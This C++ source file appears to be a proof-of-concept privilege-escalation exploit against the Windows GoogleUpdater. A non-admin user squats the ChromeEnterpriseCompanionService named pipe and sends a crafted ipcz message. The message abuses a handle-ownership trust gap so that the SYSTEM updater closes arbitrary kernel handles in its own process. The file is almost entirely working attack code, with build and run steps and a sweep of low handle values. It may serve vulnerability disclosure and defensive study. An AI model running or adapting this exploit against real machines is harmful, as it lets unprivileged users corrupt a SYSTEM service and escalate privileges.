// pipe_squatter.cc
//
// Non-admin local-user side of the GoogleUpdater CECA pipe-squat EoP.
//
// Squats \\.\pipe\mojo.ChromeEnterpriseCompanionService before the SYSTEM
// GoogleUpdater connects. When the SYSTEM updater connects (via
// mojo::IsolatedConnection -> IPCZ_CONNECT_NODE_TO_BROKER, so the Transport's
// destination_type() == kBroker), this program sends back a single ipcz
// ConnectFromBrokerToBroker message whose driver-object payload encodes
// HandleOwner::kRecipient and a list of attacker-chosen HANDLE values.
//
// In the SYSTEM process, mojo::core::ipcz_driver::Transport::DeserializeObject
// reads handle_owner directly off the wire and DecodeHandle()'s trust gate
//   destination_type() != kBroker && !is_peer_trusted() && !remote.is_current()
// short-circuits to FALSE on the first conjunct. Each value that passes
// GetHandleInformation() is wrapped in base::win::ScopedHandle. When the
// type-specific Deserialize fails (we make it fail), the InlinedVector of
// PlatformHandles is destroyed and CloseHandle() runs on each value -- closing
// arbitrary kernel handles in NT AUTHORITY\SYSTEM.
//
// Build (any non-admin user, no Chromium tree needed):
//   cl /EHsc /O2 pipe_squatter.cc /link advapi32.lib
//
// Run as a non-admin user. Then trigger a policy fetch in the SYSTEM updater
// (wait for the scheduled task, or call IUpdater::FetchPolicies via COM).

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <sddl.h>
#include <cstdint>
#include <cstdio>
#include <cstring>
#include <vector>

// ---- ipcz / mojo wire constants (mirrored from Chromium source) ------------

// mojo/core/channel.h: legacy header magic for Mojo Channel framing on a
// NamedPlatformChannel. Channel::Message::Header { uint32 num_bytes;
// uint16 num_header_bytes; uint16 message_type; } with kIpczMessageType = 5.
#pragma pack(push, 1)
struct ChannelHeader {
  uint32_t num_bytes;
  uint16_t num_header_bytes;   // 8
  uint16_t message_type;       // 5 = kIpczMessage
};
#pragma pack(pop)
static_assert(sizeof(ChannelHeader) == 8, "");

// third_party/ipcz/src/ipcz/message.h: internal::MessageHeaderV0
struct alignas(8) IpczMessageHeader {
  uint8_t  size;               // 24
  uint8_t  version;            // 0
  uint8_t  message_id;         // 7 = ConnectFromBrokerToBroker
  uint8_t  reserved0;
  uint32_t driver_object_data_array;  // offset to ArrayHeader
  uint64_t sequence_number;
  uint32_t reserved1;
  uint32_t reserved2;
};
static_assert(sizeof(IpczMessageHeader) == 24, "");

// third_party/ipcz/src/ipcz/message.h: internal::StructHeader
struct alignas(8) StructHeader {
  uint32_t size;
  uint32_t version;
};

// third_party/ipcz/src/ipcz/node_messages_generator.h: ConnectFromBrokerToBroker
// params (v0): NodeName name; uint32 protocol_version; uint32 num_initial_portals;
// DriverObject buffer; LinkSide.padded link_side; uint32 features_array.
struct alignas(8) ConnectB2BParams {
  StructHeader hdr;            // {sizeof, 0}
  uint64_t name_hi;
  uint64_t name_lo;
  uint32_t protocol_version;
  uint32_t num_initial_portals;
  uint32_t buffer_first_object;   // index into driver_object_data_array
  uint32_t buffer_num_objects;
  uint8_t  link_side;             // 0 = kA
  uint8_t  link_side_pad[7];
  uint32_t features_array;        // 0 = absent
  uint32_t pad;
};

// third_party/ipcz/src/ipcz/message.h: internal::ArrayHeader
struct alignas(8) ArrayHeader {
  uint32_t num_bytes;
  uint32_t num_elements;
};

// internal::DriverObjectData
struct alignas(8) DriverObjectData {
  uint32_t driver_data_array;   // offset to ArrayHeader of uint8[]
  uint16_t first_driver_handle; // unused on Windows (handles are inline)
  uint16_t num_driver_handles;  // 0
};

// mojo/core/ipcz_driver/transport.cc: ObjectHeader (Windows layout)
struct alignas(8) ObjectHeader {
  uint32_t size;          // 16
  uint32_t type;          // ObjectBase::Type
  uint32_t num_handles;   // attacker-controlled
  uint8_t  handle_owner;  // 1 = HandleOwner::kRecipient
  uint8_t  reserved[3];
};
static_assert(sizeof(ObjectHeader) == 16, "");

enum : uint32_t {
  kTypeTransport                  = 0,
  kTypeSharedBuffer               = 1,
  kTypeTransmissiblePlatformHandle = 3,
};
enum : uint8_t {
  kHandleOwnerSender    = 0,
  kHandleOwnerRecipient = 1,
};
constexpr uint8_t kMsgId_ConnectFromBrokerToBroker = 7;
constexpr uint16_t kIpczMessageType = 5;

// ---------------------------------------------------------------------------

static size_t Align8(size_t n) { return (n + 7) & ~size_t(7); }

// Build the malicious ipcz ConnectFromBrokerToBroker reply carrying one
// driver object {type=kTransmissiblePlatformHandle, handle_owner=kRecipient,
// num_handles=N, HandleData[]=victim_handles}. We deliberately set
// num_handles > 1 for kTransmissiblePlatformHandle, so
// TransmissiblePlatformHandle::Deserialize() rejects it AFTER all N handles
// have been DecodeHandle()'d into ScopedHandles -> they all get CloseHandle()'d
// at scope exit in the SYSTEM process.
static std::vector<uint8_t> BuildPayload(
    const std::vector<uint64_t>& victim_handles) {
  // Layout (offsets relative to start of ipcz message):
  //   [0]  IpczMessageHeader (24)
  //   [24] ConnectB2BParams
  //   [P]  ArrayHeader + DriverObjectData[1]      <- driver_object_data_array
  //   [Q]  ArrayHeader + uint8[driver_blob]       <- DriverObjectData.driver_data_array
  //          driver_blob = ObjectHeader + HandleData[N]
  std::vector<uint8_t> ipcz;

  size_t off_hdr     = 0;
  size_t off_params  = off_hdr + sizeof(IpczMessageHeader);
  size_t off_objarr  = Align8(off_params + sizeof(ConnectB2BParams));
  size_t off_objarr_payload = off_objarr + sizeof(ArrayHeader);
  size_t off_blobarr = Align8(off_objarr_payload + sizeof(DriverObjectData));
  size_t blob_len    = sizeof(ObjectHeader) +
                       victim_handles.size() * sizeof(uint64_t);
  size_t off_blob    = off_blobarr + sizeof(ArrayHeader);
  size_t total       = Align8(off_blob + blob_len);
  ipcz.resize(total, 0);

  auto* mh = reinterpret_cast<IpczMessageHeader*>(&ipcz[off_hdr]);
  mh->size = sizeof(IpczMessageHeader);
  mh->version = 0;
  mh->message_id = kMsgId_ConnectFromBrokerToBroker;
  mh->driver_object_data_array = static_cast<uint32_t>(off_objarr);
  mh->sequence_number = 0;

  auto* p = reinterpret_cast<ConnectB2BParams*>(&ipcz[off_params]);
  p->hdr.size = sizeof(ConnectB2BParams);
  p->hdr.version = 0;
  // Pick a 128-bit name greater than anything so this_side=kB on the victim.
  p->name_hi = 0xFFFFFFFFFFFFFFFFull;
  p->name_lo = 0xFFFFFFFFFFFFFFFFull;
  p->protocol_version = 0;
  p->num_initial_portals = 1;
  p->buffer_first_object = 0;
  p->buffer_num_objects = 1;
  p->link_side = 0;
  p->features_array = 0;

  auto* oa = reinterpret_cast<ArrayHeader*>(&ipcz[off_objarr]);
  oa->num_bytes = static_cast<uint32_t>(
      Align8(sizeof(ArrayHeader) + sizeof(DriverObjectData)));
  oa->num_elements = 1;

  auto* od = reinterpret_cast<DriverObjectData*>(&ipcz[off_objarr_payload]);
  od->driver_data_array = static_cast<uint32_t>(off_blobarr);
  od->first_driver_handle = 0;
  od->num_driver_handles = 0;

  auto* ba = reinterpret_cast<ArrayHeader*>(&ipcz[off_blobarr]);
  ba->num_bytes = static_cast<uint32_t>(Align8(sizeof(ArrayHeader) + blob_len));
  ba->num_elements = static_cast<uint32_t>(blob_len);

  auto* oh = reinterpret_cast<ObjectHeader*>(&ipcz[off_blob]);
  oh->size = sizeof(ObjectHeader);
  oh->type = kTypeTransmissiblePlatformHandle;
  oh->num_handles = static_cast<uint32_t>(victim_handles.size());
  oh->handle_owner = kHandleOwnerRecipient;       // <-- the bypass

  auto* hd = reinterpret_cast<uint64_t*>(&ipcz[off_blob + sizeof(ObjectHeader)]);
  for (size_t i = 0; i < victim_handles.size(); ++i)
    hd[i] = victim_handles[i];

  // Wrap in mojo Channel framing.
  std::vector<uint8_t> out;
  out.resize(sizeof(ChannelHeader) + ipcz.size());
  auto* ch = reinterpret_cast<ChannelHeader*>(out.data());
  ch->num_bytes = static_cast<uint32_t>(out.size());
  ch->num_header_bytes = sizeof(ChannelHeader);
  ch->message_type = kIpczMessageType;
  memcpy(out.data() + sizeof(ChannelHeader), ipcz.data(), ipcz.size());
  return out;
}

int wmain() {
  // DACL: allow SYSTEM and Everyone full access so the SYSTEM client can
  // CreateFileW() us.
  SECURITY_ATTRIBUTES sa{sizeof(sa), nullptr, FALSE};
  ConvertStringSecurityDescriptorToSecurityDescriptorW(
      L"D:(A;;GA;;;SY)(A;;GA;;;WD)", SDDL_REVISION_1,
      &sa.lpSecurityDescriptor, nullptr);

  const wchar_t* kPipe =
      L"\\\\.\\pipe\\mojo.ChromeEnterpriseCompanionService";

  HANDLE pipe = CreateNamedPipeW(
      kPipe,
      PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED,
      PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_REJECT_REMOTE_CLIENTS,
      PIPE_UNLIMITED_INSTANCES, 4096, 4096, 5000, &sa);
  if (pipe == INVALID_HANDLE_VALUE) {
    wprintf(L"[!] CreateNamedPipeW failed: %lu (real CECA already running?)\n",
            GetLastError());
    return 1;
  }
  wprintf(L"[+] Squatting %ls -- waiting for SYSTEM updater...\n", kPipe);

  OVERLAPPED ov{};
  ov.hEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
  if (!ConnectNamedPipe(pipe, &ov) &&
      GetLastError() != ERROR_PIPE_CONNECTED &&
      GetLastError() != ERROR_IO_PENDING) {
    wprintf(L"[!] ConnectNamedPipe: %lu\n", GetLastError());
    return 1;
  }
  WaitForSingleObject(ov.hEvent, INFINITE);
  wprintf(L"[+] SYSTEM connected.\n");

  // Drain the victim's outgoing ConnectFromBrokerToBroker so we know the
  // channel is live (and could parse its NodeName for the stronger variant).
  uint8_t buf[0x4000];
  DWORD got = 0;
  ResetEvent(ov.hEvent);
  if (ReadFile(pipe, buf, sizeof(buf), nullptr, &ov) ||
      GetLastError() == ERROR_IO_PENDING) {
    WaitForSingleObject(ov.hEvent, 5000);
    GetOverlappedResult(pipe, &ov, &got, FALSE);
    wprintf(L"[+] Read %lu bytes of victim handshake.\n", got);
  }

  // Sweep the low end of the SYSTEM handle table. Windows handle values are
  // small multiples of 4; 0x4..0x80 covers tokens, ALPC ports, threads, etc.
  std::vector<uint64_t> victims;
  for (uint64_t h = 0x4; h <= 0x80; h += 4)
    victims.push_back(h);

  std::vector<uint8_t> msg = BuildPayload(victims);
  DWORD wrote = 0;
  ResetEvent(ov.hEvent);
  if (WriteFile(pipe, msg.data(), (DWORD)msg.size(), nullptr, &ov) ||
      GetLastError() == ERROR_IO_PENDING) {
    WaitForSingleObject(ov.hEvent, 5000);
    GetOverlappedResult(pipe, &ov, &wrote, FALSE);
  }
  wprintf(L"[+] Sent %lu-byte kRecipient payload (%zu victim handles).\n",
          wrote, victims.size());
  wprintf(L"    -> SYSTEM updater will CloseHandle() each value passing\n"
          L"       GetHandleInformation() in its own table.\n");

  FlushFileBuffers(pipe);
  Sleep(1000);
  CloseHandle(pipe);
  return 0;
}
